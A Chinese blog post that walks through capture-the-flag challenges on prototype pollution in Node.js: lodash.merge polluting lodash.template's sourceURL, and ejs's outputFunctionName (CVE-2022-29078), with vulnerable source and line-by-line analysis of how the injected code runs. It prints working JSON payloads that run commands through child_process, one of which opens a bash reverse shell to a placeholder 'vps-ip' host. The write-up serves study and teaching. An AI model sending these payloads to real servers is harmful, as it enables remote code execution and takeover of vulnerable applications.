lodash模块与ejs模板引擎的原型链污染
本文最后更新于310 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

lodash模块与ejs模板引擎的原型链污染

本篇是基于对web342题payload的深入探讨

[Code-Breaking 2018]Thejs

本题源码

docker搭建后进入题目

image-20250222142956926

先看源码

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))

源码意思就是想选择的东西保存到session.data然后输出出来。

当看到lodash.merge就想到原型链污染。这题污染点在哪里?并不在session上。

我们来看lodash.template函数的写法

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + 'n' : '';
// ...
var result = attempt(function() {
  return Function(importsKeys, sourceURL + 'return ' + source)
  .apply(undefined, importsValues);
});

可以看到 sourceURL 对象是通过三目运算法赋值,默认值为空。往下看可以发现 sourceURL 被拼接进 Function 函数构造器的第二个参数,造成任意代码执行漏洞。代码中options.sourceURL直接引用sourceURL。所以我们通过原型链污染 sourceURL 来执行任意代码。但是要注意,Function 环境下没有 require 函数,直接使用require(‘child_process’) 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。

思考一下如何构造?

先给出payload

{"__proto__":{"sourceURL":"u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
(u000a是n的unicode编码)

解释一下,当我们发送该payload的时候,会污染 Object.prototypesourceURL 属性,由于 lodash.template 会使用 options 对象,而 options 继承自 Object.prototype,因此 sourceURL 的值会被注入到模板编译过程中。

当我们发送payload后,Object.prototype.sourceURL 被设置为

"u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"

那么options.sourceURL也为

"u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"

拼接后,sourceURL为

'//# sourceURL=u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}n'

拼接后的函数体sourceURL + ‘return ‘ + source为:

'//# sourceURL=u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}nreturn e'

那么最终拼接后的Function构造函数如下:

Function(importsKeys, 
//# sourceURL=
return e => {
  return global.process.mainModule.constructor._load('child_process').execSync('id');
}
return e
);

这就会动态执行e这个箭头函数从而触发payload

image-20250222152321660

ejs模板引擎

回忆一下web341的payload,直接利用的ejs原型链污染poc打的。

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/vps-ip/port 0>&1"');var __tmp2"}}}

下面分析一下为什么是这个

来两个简单的源码

app.js

const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    res.render('index', req.query);
});

app.listen(PORT, ()=> {
    console.log(`Server is running on ${PORT}`);
});

index.ejs

<html>
    <head>
        <title>Lab CVE-2022-29078</title>
    </head>

    <body>
        <h2>CVE-2022-29078</h2>
        <%= test %>
    </body>
</html>

我们运行app.js后浏览器访问给参数,在第8行打断点

然后一直调试到调用compile函数这一步,再往下就会发现以下代码

image-20250222182712838

观察这段代码

if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + 'n';
      }
      if (opts.destructuredLocals && opts.destructuredLocals.length) {
...

会发现与上面的题大差不差,通过污染opts.outputFunction来动态执行代码。_tmp1;和var __tmp2自然也是用来拼接的。

那么一开始的payload也就好理解了。和Thejs题目思路一模一样。一个是lodash.template函数来进行代码执行,一个是ejs模板的内部函数来进行代码执行。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇